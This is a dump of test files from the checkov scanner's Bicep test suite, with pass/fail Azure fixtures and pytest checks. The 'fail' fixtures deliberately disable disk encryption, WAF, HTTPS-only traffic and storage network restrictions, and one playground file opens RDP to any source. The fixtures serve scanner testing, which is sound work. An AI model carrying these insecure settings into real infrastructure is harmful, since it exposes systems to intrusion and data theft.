resourceId('Microsoft.Network/frontDoors/loadBalancingSettings', frontDoorName, loadBalancingSettingsName) } healthProbeSettings: { id: resourceId('Microsoft.Network/frontDoors/healthProbeSettings', frontDoorName, healthProbeSettingsName) } } } ] routingRules: [ { name: routingRuleName properties: { frontendEndpoints: [ { id: resourceId('Microsoft.Network/frontDoors/frontEndEndpoints', frontDoorName, frontEndEndpointName) } ] acceptedProtocols: [ 'Http' 'Https' ] patternsToMatch: [ '/*' ] routeConfiguration: { '@odata.type': '#Microsoft.Azure.FrontDoor.Models.FrontdoorForwardingConfiguration' forwardingProtocol: 'MatchRequest' backendPool: { id: resourceId('Microsoft.Network/frontDoors/backEndPools', frontDoorName, backendPoolName) } } enabledState: 'Enabled' } } ] } } ================================================ FILE: tests/bicep/checks/resource/azure/example_AzureManagedDiscEncryption/main.bicep ================================================ // pass resource enabled 'Microsoft.Compute/disks@2021-12-01' = { name: '${name}-disk-${env}' location: location sku: { name: 'Standard_LRS' } properties: { diskSizeGB: 10 encryptionSettingsCollection: { enabled: true encryptionSettings: [ { diskEncryptionKey: { secretUrl: secretUrl sourceVault: { id: vault.id } } } ] } } } // fail resource disabled 'Microsoft.Compute/disks@2021-12-01' = { name: '${name}-disk-${env}' location: location sku: { name: 'Standard_LRS' } properties: { diskSizeGB: 10 encryptionSettingsCollection: { enabled: false } } } ================================================ FILE: tests/bicep/checks/resource/azure/example_FrontdoorUseWAFMode/example_FrontdoorUseWAFMode-FAILED.bicep ================================================ resource fail 'Microsoft.Network/FrontDoorWebApplicationFirewallPolicies@2022-05-01' = { name: 'fail' location: 'Global' sku: { name: 'Premium_AzureFrontDoor' } properties: { managedRules: { managedRuleSets: [ { ruleSetType: 'Microsoft_DefaultRuleSet' ruleSetVersion: '2.0' ruleSetAction: 'Block' exclusions: [] ruleGroupOverrides: [] } { ruleSetType: 'Microsoft_BotManagerRuleSet' ruleSetVersion: '1.0' ruleSetAction: 'Block' exclusions: [] ruleGroupOverrides: [] } ] } policySettings: { enabledState: 'Disabled' mode: 'Prevention' } } } ================================================ FILE: tests/bicep/checks/resource/azure/example_FrontdoorUseWAFMode/example_FrontdoorUseWAFMode-PASSED.bicep ================================================ resource pass 'Microsoft.Network/FrontDoorWebApplicationFirewallPolicies@2022-05-01' = { name: 'pass' location: 'Global' sku: { name: 'Premium_AzureFrontDoor' } properties: { managedRules: { managedRuleSets: [ { ruleSetType: 'Microsoft_DefaultRuleSet' ruleSetVersion: '2.0' ruleSetAction: 'Block' exclusions: [] ruleGroupOverrides: [] } { ruleSetType: 'Microsoft_BotManagerRuleSet' ruleSetVersion: '1.0' ruleSetAction: 'Block' exclusions: [] ruleGroupOverrides: [] } ] } policySettings: { enabledState: 'Enabled' mode: 'Prevention' } } } ================================================ FILE: tests/bicep/checks/resource/azure/example_MonitorLogProfileCategories/main.bicep ================================================ // pass resource pass 'Microsoft.Insights/logprofiles@2016-03-01' = { name: 'example' location: location properties: { categories: [ 'Action' 'Delete' 'Write' ] locations: [ 'global' ] retentionPolicy: { days: 30 enabled: true } } } // fail resource fail 'Microsoft.Insights/logprofiles@2016-03-01' = { name: 'example' location: location properties: { categories: [ 'Action' ] locations: [ 'global' ] retentionPolicy: { days: 30 enabled: true } } } ================================================ FILE: tests/bicep/checks/resource/azure/example_MonitorLogProfileRetentionDays/main.bicep ================================================ // pass resource enabled 'Microsoft.Insights/logprofiles@2016-03-01' = { name: 'example' location: location properties: { categories: [ 'Action' ] locations: [ 'global' ] retentionPolicy: { days: 365 enabled: true } } } // fail resource disabled 'Microsoft.Insights/logprofiles@2016-03-01' = { name: 'example' location: location properties: { categories: [ 'Action' ] locations: [ 'global' ] retentionPolicy: { days: 30 enabled: false } } } resource low 'Microsoft.Insights/logprofiles@2016-03-01' = { name: 'example' location: location properties: { categories: [ 'Action' ] locations: [ 'global' ] retentionPolicy: { days: 30 enabled: true } } } ================================================ FILE: tests/bicep/checks/resource/azure/example_StorageAccountAzureServicesAccessEnabled/main.bicep ================================================ // pass resource default 'Microsoft.Storage/storageAccounts@2019-06-01' = { name: diagStorageAccountName location: location sku: { name: storageAccountType } kind: 'StorageV2' } resource allowAll 'Microsoft.Storage/storageAccounts@2019-06-01' = { name: diagStorageAccountName location: location sku: { name: storageAccountType } kind: 'StorageV2' properties: { networkAcls: { defaultAction: 'Allow' } } } resource denyAndBypass 'Microsoft.Storage/storageAccounts@2019-06-01' = { name: diagStorageAccountName location: location sku: { name: storageAccountType } kind: 'StorageV2' properties: { networkAcls: { bypass: 'Logging' defaultAction: 'Deny' } } } // fail resource deny 'Microsoft.Storage/storageAccounts@2019-06-01' = { name: diagStorageAccountName location: location sku: { name: storageAccountType } kind: 'StorageV2' properties: { networkAcls: { defaultAction: 'Deny' } } } resource denyAndBypassNone 'Microsoft.Storage/storageAccounts@2019-06-01' = { name: diagStorageAccountName location: location sku: { name: storageAccountType } kind: 'StorageV2' properties: { networkAcls: { bypass: 'None' defaultAction: 'Deny' } } } // unknown resource unknown 'Microsoft.Storage/storageAccounts@2019-06-01' = { name: diagStorageAccountName location: location sku: { name: storageAccountType } kind: 'StorageV2' properties: storageAccountProperties } ================================================ FILE: tests/bicep/checks/resource/azure/example_StorageAccountDefaultNetworkAccessDeny/main.bicep ================================================ // pass resource deny 'Microsoft.Storage/storageAccounts@2019-06-01' = { name: diagStorageAccountName location: location sku: { name: storageAccountType } kind: 'StorageV2' properties: { networkAcls: { defaultAction: 'Deny' } } } // fail resource default 'Microsoft.Storage/storageAccounts@2019-06-01' = { name: diagStorageAccountName location: location sku: { name: storageAccountType } kind: 'StorageV2' } resource allow 'Microsoft.Storage/storageAccounts@2019-06-01' = { name: diagStorageAccountName location: location sku: { name: storageAccountType } kind: 'StorageV2' properties: { networkAcls: { defaultAction: 'Allow' } } } ================================================ FILE: tests/bicep/checks/resource/azure/example_StorageAccountsTransportEncryption/main.bicep ================================================ // pass resource default2019 'Microsoft.Storage/storageAccounts@2019-06-01' = { name: diagStorageAccountName location: location sku: { name: storageAccountType } kind: 'StorageV2' } resource enabled 'Microsoft.Storage/storageAccounts@2018-11-01' = { name: diagStorageAccountName location: location sku: { name: storageAccountType } kind: 'StorageV2' properties: { supportsHttpsTrafficOnly: true } } // fail resource default2018 'Microsoft.Storage/storageAccounts@2018-11-01' = { name: diagStorageAccountName location: location sku: { name: storageAccountType } kind: 'StorageV2' } resource disabled 'Microsoft.Storage/storageAccounts@2019-06-01' = { name: diagStorageAccountName location: location sku: { name: storageAccountType } kind: 'StorageV2' properties: { supportsHttpsTrafficOnly: false } } // unknown resource unknown 'Microsoft.Storage/storageAccounts@2019-06-01' = { name: diagStorageAccountName location: location sku: { name: storageAccountType } kind: 'StorageV2' properties: storageAccountProperties } ================================================ FILE: tests/bicep/checks/resource/azure/example_VMEncryptionAtHostEnabled/main.bicep ================================================ // pass resource enabled 'Microsoft.Compute/virtualMachines@2021-11-01' = { name: virtualMachineName location: location properties: { securityProfile: { encryptionAtHost: true } } } // fail resource disabled 'Microsoft.Compute/virtualMachines@2021-11-01' = { name: virtualMachineName location: location properties: { securityProfile: { encryptionAtHost: false } } } ================================================ FILE: tests/bicep/checks/resource/azure/test_AKSApiServerAuthorizedIpRanges.py ================================================ from pathlib import Path from checkov.bicep.runner import Runner from checkov.arm.checks.resource.AKSApiServerAuthorizedIpRanges import check from checkov.runner_filter import RunnerFilter def test_examples(): # given test_files_dir = Path(__file__).parent / "example_AKSApiServerAuthorizedIpRanges" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "Microsoft.ContainerService/managedClusters.enabled", } failing_resources = { "Microsoft.ContainerService/managedClusters.default", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} assert summary["passed"] == len(passing_resources) assert summary["failed"] == len(failing_resources) assert summary["skipped"] == 0 assert summary["parsing_errors"] == 0 assert passed_check_resources == passing_resources assert failed_check_resources == failing_resources ================================================ FILE: tests/bicep/checks/resource/azure/test_AKSDashboardDisabled.py ================================================ from pathlib import Path from checkov.bicep.runner import Runner from checkov.arm.checks.resource.AKSDashboardDisabled import check from checkov.runner_filter import RunnerFilter def test_examples(): # given test_files_dir = Path(__file__).parent / "example_AKSDashboardDisabled" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "Microsoft.ContainerService/managedClusters.enabled", } failing_resources = { "Microsoft.ContainerService/managedClusters.default", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} assert summary["passed"] == len(passing_resources) assert summary["failed"] == len(failing_resources) assert summary["skipped"] == 0 assert summary["parsing_errors"] == 0 assert passed_check_resources == passing_resources assert failed_check_resources == failing_resources ================================================ FILE: tests/bicep/checks/resource/azure/test_AKSLoggingEnabled.py ================================================ from pathlib import Path from checkov.bicep.runner import Runner from checkov.arm.checks.resource.AKSLoggingEnabled import check from checkov.runner_filter import RunnerFilter def test_examples(): # given test_files_dir = Path(__file__).parent / "example_AKSLoggingEnabled" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "Microsoft.ContainerService/managedClusters.enabled", "Microsoft.ContainerService/managedClusters.enabledCamelCase", } failing_resources = { "Microsoft.ContainerService/managedClusters.default", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} assert summary["passed"] == len(passing_resources) assert summary["failed"] == len(failing_resources) assert summary["skipped"] == 0 assert summary["parsing_errors"] == 0 assert passed_check_resources == passing_resources assert failed_check_resources == failing_resources ================================================ FILE: tests/bicep/checks/resource/azure/test_AKSNetworkPolicy.py ================================================ from pathlib import Path from checkov.bicep.runner import Runner from checkov.arm.checks.resource.AKSNetworkPolicy import check from checkov.runner_filter import RunnerFilter def test_examples(): # given test_files_dir = Path(__file__).parent / "example_AKSNetworkPolicy" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "Microsoft.ContainerService/managedClusters.enabled", } failing_resources = { "Microsoft.ContainerService/managedClusters.default", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} assert summary["passed"] == len(passing_resources) assert summary["failed"] == len(failing_resources) assert summary["skipped"] == 0 assert summary["parsing_errors"] == 0 assert passed_check_resources == passing_resources assert failed_check_resources == failing_resources ================================================ FILE: tests/bicep/checks/resource/azure/test_AKSRbacEnabled.py ================================================ from pathlib import Path from checkov.bicep.runner import Runner from checkov.arm.checks.resource.AKSRbacEnabled import check from checkov.runner_filter import RunnerFilter def test_examples(): # given test_files_dir = Path(__file__).parent / "example_AKSRbacEnabled" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "Microsoft.ContainerService/managedClusters.enabled", } failing_resources = { "Microsoft.ContainerService/managedClusters.default", "Microsoft.ContainerService/managedClusters.disabled", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} assert summary["passed"] == len(passing_resources) assert summary["failed"] == len(failing_resources) assert summary["skipped"] == 0 assert summary["parsing_errors"] == 0 assert passed_check_resources == passing_resources assert failed_check_resources == failing_resources ================================================ FILE: tests/bicep/checks/resource/azure/test_AzureFirewallDenyThreatIntelMode.py ================================================ from pathlib import Path from checkov.bicep.runner import Runner from checkov.arm.checks.resource.AzureFirewallDenyThreatIntelMode import check from checkov.runner_filter import RunnerFilter def test_examples(): # given test_files_dir = Path(__file__).parent / "example_AzureFirewallDenyThreatIntelMode" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "Microsoft.Network/azureFirewalls.pass", } failing_resources = { "Microsoft.Network/azureFirewalls.fail", "Microsoft.Network/azureFirewalls.fail2", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} assert summary["passed"] == len(passing_resources) assert summary["failed"] == len(failing_resources) assert summary["skipped"] == 0 assert summary["parsing_errors"] == 0 assert passing_resources == passed_check_resources assert failing_resources == failed_check_resources ================================================ FILE: tests/bicep/checks/resource/azure/test_AzureFrontDoorEnablesWAF.py ================================================ from pathlib import Path from checkov.bicep.runner import Runner from checkov.arm.checks.resource.AzureFrontDoorEnablesWAF import check from checkov.runner_filter import RunnerFilter def test_examples(): # given test_files_dir = Path(__file__).parent / "example_AzureFrontDoorEnablesWAF" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "Microsoft.Network/frontDoors.pass", } failing_resources = { "Microsoft.Network/frontDoors.fail", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} assert summary["passed"] == len(passing_resources) assert summary["failed"] == len(failing_resources) assert summary["skipped"] == 0 assert summary["parsing_errors"] == 0 assert passed_check_resources == passing_resources assert failed_check_resources == failing_resources ================================================ FILE: tests/bicep/checks/resource/azure/test_AzureManagedDiscEncryption.py ================================================ from pathlib import Path from checkov.bicep.runner import Runner from checkov.arm.checks.resource.AzureManagedDiscEncryption import check from checkov.runner_filter import RunnerFilter def test_examples(): # given test_files_dir = Path(__file__).parent / "example_AzureManagedDiscEncryption" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "Microsoft.Compute/disks.enabled", } failing_resources = { "Microsoft.Compute/disks.disabled", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} assert summary["passed"] == 1 assert summary["failed"] == 1 assert summary["skipped"] == 0 assert summary["parsing_errors"] == 0 assert passed_check_resources == passing_resources assert failed_check_resources == failing_resources ================================================ FILE: tests/bicep/checks/resource/azure/test_FrontdoorUseWAFMode.py ================================================ from pathlib import Path from checkov.bicep.runner import Runner from checkov.arm.checks.resource.FrontdoorUseWAFMode import check from checkov.runner_filter import RunnerFilter def test_examples(): # given test_files_dir = Path(__file__).parent / "example_FrontdoorUseWAFMode" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "Microsoft.Network/FrontDoorWebApplicationFirewallPolicies.pass", } failing_resources = { "Microsoft.Network/FrontDoorWebApplicationFirewallPolicies.fail", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} assert summary["passed"] == 1 assert summary["failed"] == 1 assert summary["skipped"] == 0 assert summary["parsing_errors"] == 0 assert passed_check_resources == passing_resources assert failed_check_resources == failing_resources ================================================ FILE: tests/bicep/checks/resource/azure/test_MonitorLogProfileCategories.py ================================================ from pathlib import Path from checkov.bicep.runner import Runner from checkov.arm.checks.resource.MonitorLogProfileCategories import check from checkov.runner_filter import RunnerFilter def test_examples(): # given test_files_dir = Path(__file__).parent / "example_MonitorLogProfileCategories" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "Microsoft.Insights/logprofiles.pass", } failing_resources = { "Microsoft.Insights/logprofiles.fail", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} assert summary["passed"] == 1 assert summary["failed"] == 1 assert summary["skipped"] == 0 assert summary["parsing_errors"] == 0 assert passed_check_resources == passing_resources assert failed_check_resources == failing_resources ================================================ FILE: tests/bicep/checks/resource/azure/test_MonitorLogProfileRetentionDays.py ================================================ from pathlib import Path from checkov.bicep.runner import Runner from checkov.arm.checks.resource.MonitorLogProfileRetentionDays import check from checkov.runner_filter import RunnerFilter def test_examples(): # given test_files_dir = Path(__file__).parent / "example_MonitorLogProfileRetentionDays" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "Microsoft.Insights/logprofiles.enabled", } failing_resources = { "Microsoft.Insights/logprofiles.disabled", "Microsoft.Insights/logprofiles.low", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} assert summary["passed"] == 1 assert summary["failed"] == 2 assert summary["skipped"] == 0 assert summary["parsing_errors"] == 0 assert passed_check_resources == passing_resources assert failed_check_resources == failing_resources ================================================ FILE: tests/bicep/checks/resource/azure/test_StorageAccountAzureServicesAccessEnabled.py ================================================ from pathlib import Path from checkov.bicep.runner import Runner from checkov.bicep.checks.resource.azure.StorageAccountAzureServicesAccessEnabled import check from checkov.runner_filter import RunnerFilter def test_examples(): # given test_files_dir = Path(__file__).parent / "example_StorageAccountAzureServicesAccessEnabled" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "Microsoft.Storage/storageAccounts.allowAll", "Microsoft.Storage/storageAccounts.default", "Microsoft.Storage/storageAccounts.denyAndBypass", } failing_resources = { "Microsoft.Storage/storageAccounts.deny", "Microsoft.Storage/storageAccounts.denyAndBypassNone", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} assert summary["passed"] == len(passing_resources) assert summary["failed"] == len(failing_resources) assert summary["skipped"] == 0 assert summary["parsing_errors"] == 0 assert summary["resource_count"] == len(passing_resources) + len(failing_resources) + 1 # unknown assert passed_check_resources == passing_resources assert failed_check_resources == failing_resources ================================================ FILE: tests/bicep/checks/resource/azure/test_StorageAccountDefaultNetworkAccessDeny.py ================================================ from pathlib import Path from checkov.bicep.runner import Runner from checkov.bicep.checks.resource.azure.StorageAccountDefaultNetworkAccessDeny import check from checkov.runner_filter import RunnerFilter def test_examples(): # given test_files_dir = Path(__file__).parent / "example_StorageAccountDefaultNetworkAccessDeny" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "Microsoft.Storage/storageAccounts.deny", } failing_resources = { "Microsoft.Storage/storageAccounts.default", "Microsoft.Storage/storageAccounts.allow", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} assert summary["passed"] == 1 assert summary["failed"] == 2 assert summary["skipped"] == 0 assert summary["parsing_errors"] == 0 assert passed_check_resources == passing_resources assert failed_check_resources == failing_resources ================================================ FILE: tests/bicep/checks/resource/azure/test_StorageAccountsTransportEncryption.py ================================================ from pathlib import Path from checkov.bicep.runner import Runner from checkov.bicep.checks.resource.azure.StorageAccountsTransportEncryption import check from checkov.runner_filter import RunnerFilter def test_examples(): # given test_files_dir = Path(__file__).parent / "example_StorageAccountsTransportEncryption" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "Microsoft.Storage/storageAccounts.default2019", "Microsoft.Storage/storageAccounts.enabled", } failing_resources = { "Microsoft.Storage/storageAccounts.default2018", "Microsoft.Storage/storageAccounts.disabled", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} assert summary["passed"] == len(passing_resources) assert summary["failed"] == len(failing_resources) assert summary["skipped"] == 0 assert summary["parsing_errors"] == 0 assert summary["resource_count"] == len(passing_resources) + len(failing_resources) + 1 # unknown assert passed_check_resources == passing_resources assert failed_check_resources == failing_resources ================================================ FILE: tests/bicep/checks/resource/azure/test_VMEncryptionAtHostEnabled.py ================================================ from pathlib import Path from checkov.bicep.runner import Runner from checkov.arm.checks.resource.VMEncryptionAtHostEnabled import check from checkov.runner_filter import RunnerFilter def test_examples(): # given test_files_dir = Path(__file__).parent / "example_VMEncryptionAtHostEnabled" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "Microsoft.Compute/virtualMachines.enabled", } failing_resources = { "Microsoft.Compute/virtualMachines.disabled", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} assert summary["passed"] == len(passing_resources) assert summary["failed"] == len(failing_resources) assert summary["skipped"] == 0 assert summary["parsing_errors"] == 0 assert passed_check_resources == passing_resources assert failed_check_resources == failing_resources ================================================ FILE: tests/bicep/examples/existing.bicep ================================================ // should not flag an existing resource for any check resource storageAccountExisting 'Microsoft.Storage/storageAccounts@2021-08-01' existing = { name: 'existing' } resource storageAccount 'Microsoft.Storage/storageAccounts@2021-08-01' = { name: 'new' } ================================================ FILE: tests/bicep/examples/graph.bicep ================================================ // pass resource serverEnabled 'Microsoft.Sql/servers@2021-02-01-preview' = { name: 'default' location: resourceGroup().location properties: { administratorLogin: sqlLogicalServer.userName administratorLoginPassword: password version: '12.0' minimalTlsVersion: sqlLogicalServer.minimalTlsVersion publicNetworkAccess: sqlLogicalServer.publicNetworkAccess } resource childEnabled 'auditingSettings' = { name: 'default123' properties: { isAzureMonitorTargetEnabled: true state: 'Enabled' } } } resource parentEnabled 'Microsoft.Sql/servers@2021-02-01-preview' = { name: 'default' location: resourceGroup().location properties: { administratorLogin: sqlLogicalServer.userName administratorLoginPassword: password version: '12.0' minimalTlsVersion: sqlLogicalServer.minimalTlsVersion publicNetworkAccess: sqlLogicalServer.publicNetworkAccess } } resource childEnabled 'Microsoft.Sql/servers/auditingSettings@2021-02-01-preview' = { name: 'default' parent: parentEnabled properties: { isAzureMonitorTargetEnabled: true state: 'Enabled' } } resource databaseEnabled 'Microsoft.Sql/servers/databases@2020-08-01-preview' = { name: '${server.name}/${sqlDBName}' location: location sku: { name: 'Standard' tier: 'Standard' } resource childEnabled 'auditingSettings' = { name: 'default123' properties: { isAzureMonitorTargetEnabled: true state: 'Enabled' } } } // fail resource serverDefault 'Microsoft.Sql/servers@2021-02-01-preview' = { name: 'default' location: resourceGroup().location properties: { administratorLogin: sqlLogicalServer.userName administratorLoginPassword: password version: '12.0' minimalTlsVersion: sqlLogicalServer.minimalTlsVersion publicNetworkAccess: sqlLogicalServer.publicNetworkAccess } resource childDefault 'auditingSettings' = { name: 'default' properties: { isAzureMonitorTargetEnabled: true } } } resource parentDefault 'Microsoft.Sql/servers@2021-02-01-preview' = { name: 'default' location: resourceGroup().location properties: { administratorLogin: sqlLogicalServer.userName administratorLoginPassword: password version: '12.0' minimalTlsVersion: sqlLogicalServer.minimalTlsVersion publicNetworkAccess: sqlLogicalServer.publicNetworkAccess } } resource childDefault 'Microsoft.Sql/servers/auditingSettings@2021-02-01-preview' = { name: 'default' parent: parentDefault properties: { isAzureMonitorTargetEnabled: true } } resource databaseDefault 'Microsoft.Sql/servers/databases@2020-08-01-preview' = { name: '${server.name}/${sqlDBName}' location: location sku: { name: 'Standard' tier: 'Standard' } resource childDefault 'auditingSettings' = { name: 'default123' properties: { isAzureMonitorTargetEnabled: true } } } resource serverDisabled 'Microsoft.Sql/servers@2021-02-01-preview' = { name: 'default' location: resourceGroup().location properties: { administratorLogin: sqlLogicalServer.userName administratorLoginPassword: password version: '12.0' minimalTlsVersion: sqlLogicalServer.minimalTlsVersion publicNetworkAccess: sqlLogicalServer.publicNetworkAccess } resource childDisabled 'auditingSettings' = { name: 'default' properties: { isAzureMonitorTargetEnabled: true state: 'Disabled' } } } resource parentDisabled 'Microsoft.Sql/servers@2021-02-01-preview' = { name: 'default' location: resourceGroup().location properties: { administratorLogin: sqlLogicalServer.userName administratorLoginPassword: password version: '12.0' minimalTlsVersion: sqlLogicalServer.minimalTlsVersion publicNetworkAccess: sqlLogicalServer.publicNetworkAccess } } resource childDisabled 'Microsoft.Sql/servers/auditingSettings@2021-02-01-preview' = { name: 'default' parent: parentDefault properties: { isAzureMonitorTargetEnabled: true state: 'Disabled' } } resource databaseDisabled 'Microsoft.Sql/servers/databases@2020-08-01-preview' = { name: '${server.name}/${sqlDBName}' location: location sku: { name: 'Standard' tier: 'Standard' } resource childDisabled 'auditingSettings' = { name: 'default123' properties: { isAzureMonitorTargetEnabled: true state: 'Disabled' } } } ================================================ FILE: tests/bicep/examples/loop.bicep ================================================ resource Disks 'Microsoft.Compute/disks@2022-07-02' = [for (disk, i) in dataDisks: { name: disk.diskName location: location tags: tags sku: { name: disk.storageAccountType } zones: [ avZone ] properties: { creationData: { createOption: 'Empty' } diskSizeGB: disk.diskSizeGB encryption: { type: 'EncryptionAtRestWithCustomerKey' diskEncryptionSetId: diskEncryptionSetId } } }] ================================================ FILE: tests/bicep/examples/malformed.bicep ================================================ param storageAccountType = 'Standard_LRS' ================================================ FILE: tests/bicep/examples/playground.bicep ================================================ @description('Virtual machine size (has to be at least the size of Standard_A3 to support 2 NICs)') param virtualMachineSize string = 'Standard_DS1_v2' @description('Default Admin username') param adminUsername string @description('Default Admin password') @secure() param adminPassword string @description('Storage Account type for the VM and VM diagnostic storage') @allowed([ 'Standard_LRS' 'Premium_LRS' ]) param storageAccountType string = 'Standard_LRS' @description('Location for all resources.') param location string = resourceGroup().location var virtualMachineName = 'VM-MultiNic' var nic1Name = 'nic-1' var nic2Name = 'nic-2' var virtualNetworkName = 'virtualNetwork' var subnet1Name = 'subnet-1' var subnet2Name = 'subnet-2' var publicIPAddressName = 'publicIp' var diagStorageAccountName = 'diags${uniqueString(resourceGroup().id)}' var networkSecurityGroupName = 'NSG' var networkSecurityGroupName2 = '${subnet2Name}-nsg' // This is the virtual machine that you're building. resource vm 'Microsoft.Compute/virtualMachines@2020-06-01' = { name: virtualMachineName location: location properties: { osProfile: { computerName: virtualMachineName adminUsername: adminUsername adminPassword: adminPassword windowsConfiguration: { provisionVMAgent: true } } hardwareProfile: { vmSize: virtualMachineSize } storageProfile: { imageReference: { publisher: 'MicrosoftWindowsServer' offer: 'WindowsServer' sku: '2019-Datacenter' version: 'latest' } osDisk: { createOption: 'FromImage' } } networkProfile: { networkInterfaces: [ { properties: { primary: true } id: nic1.id } { properties: { primary: false } id: nic2.id } ] } diagnosticsProfile: { bootDiagnostics: { enabled: true storageUri: diagsAccount.properties.primaryEndpoints.blob } } } } resource diagsAccount 'Microsoft.Storage/storageAccounts@2019-06-01' = { // checkov:skip=CKV_AZURE_35: just skip it name: diagStorageAccountName location: location sku: { name: storageAccountType } kind: 'StorageV2' } // Simple Network Security Group for subnet2 resource nsg2 'Microsoft.Network/networkSecurityGroups@2020-06-01' = { name: networkSecurityGroupName2 location: location } // This will build a Virtual Network. resource vnet 'Microsoft.Network/virtualNetworks@2020-06-01' = { name: virtualNetworkName location: location properties: { addressSpace: { addressPrefixes: [ '10.0.0.0/16' ] } subnets: [ { name: subnet1Name properties: { addressPrefix: '10.0.0.0/24' } } { name: subnet2Name properties: { addressPrefix: '10.0.1.0/24' networkSecurityGroup: { id: nsg2.id } } } ] } } // This will be your Primary NIC resource nic1 'Microsoft.Network/networkInterfaces@2020-06-01' = { name: nic1Name location: location properties: { ipConfigurations: [ { name: 'ipconfig1' properties: { subnet: { id: resourceId('Microsoft.Network/virtualNetworks/subnets', vnet.name, subnet1Name) } privateIPAllocationMethod: 'Dynamic' publicIPAddress: { id: pip.id } } } ] networkSecurityGroup: { id: nsg.id } } } // This will be your Secondary NIC resource nic2 'Microsoft.Network/networkInterfaces@2020-06-01' = { name: nic2Name location: location properties: { ipConfigurations: [ { name: 'ipconfig1' properties: { subnet: { id: resourceId('Microsoft.Network/virtualNetworks/subnets', vnet.name, subnet2Name) } privateIPAllocationMethod: 'Dynamic' } } ] } } // Public IP for your Primary NIC resource pip 'Microsoft.Network/publicIPAddresses@2020-06-01' = { name: publicIPAddressName location: location properties: { publicIPAllocationMethod: 'Dynamic' } } // Network Security Group (NSG) for your Primary NIC resource nsg 'Microsoft.Network/networkSecurityGroups@2020-06-01' = { name: networkSecurityGroupName location: location properties: { securityRules: [ { name: 'default-allow-rdp' properties: { priority: 1000 sourceAddressPrefix: '*' protocol: 'Tcp' destinationPortRange: '3389' access: 'Allow' direction: 'Inbound' sourcePortRange: '*' destinationAddressPrefix: '*' } } ] } } ================================================ FILE: tests/bicep/graph/__init__.py ================================================ ================================================ FILE: tests/bicep/graph/checks/__init__.py ================================================ ================================================ FILE: tests/bicep/graph/checks/resources/SQLServerAuditingEnabled/expected.yaml ================================================ pass: - 'Microsoft.Sql/servers.serverEnabled' - 'Microsoft.Sql/servers.parentEnabled' - 'Microsoft.Sql/servers/databases.databaseEnabled' fail: - 'Microsoft.Sql/servers.serverDefault' - 'Microsoft.Sql/servers.parentDefault' - 'Microsoft.Sql/servers.serverDisabled' - 'Microsoft.Sql/servers.parentDisabled' - 'Microsoft.Sql/servers/databases.databaseDefault' - 'Microsoft.Sql/servers/databases.databaseDisabled' evaluated_keys: - 'resource_type' - 'properties/state' ================================================ FILE: tests/bicep/graph/checks/resources/SQLServerAuditingEnabled/main.bicep ================================================ // pass resource serverEnabled 'Microsoft.Sql/servers@2021-02-01-preview' = { name: 'default' location: resourceGroup().location properties: { administratorLogin: sqlLogicalServer.userName administratorLoginPassword: password version: '12.0' minimalTlsVersion: sqlLogicalServer.minimalTlsVersion publicNetworkAccess: sqlLogicalServer.publicNetworkAccess } resource childEnabled 'auditingSettings' = { name: 'default123' properties: { isAzureMonitorTargetEnabled: true state: 'Enabled' } } } resource parentEnabled 'Microsoft.Sql/servers@2021-02-01-preview' = { name: 'default' location: resourceGroup().location properties: { administratorLogin: sqlLogicalServer.userName administratorLoginPassword: password version: '12.0' minimalTlsVersion: sqlLogicalServer.minimalTlsVersion publicNetworkAccess: sqlLogicalServer.publicNetworkAccess } } resource childEnabled 'Microsoft.Sql/servers/auditingSettings@2021-02-01-preview' = { 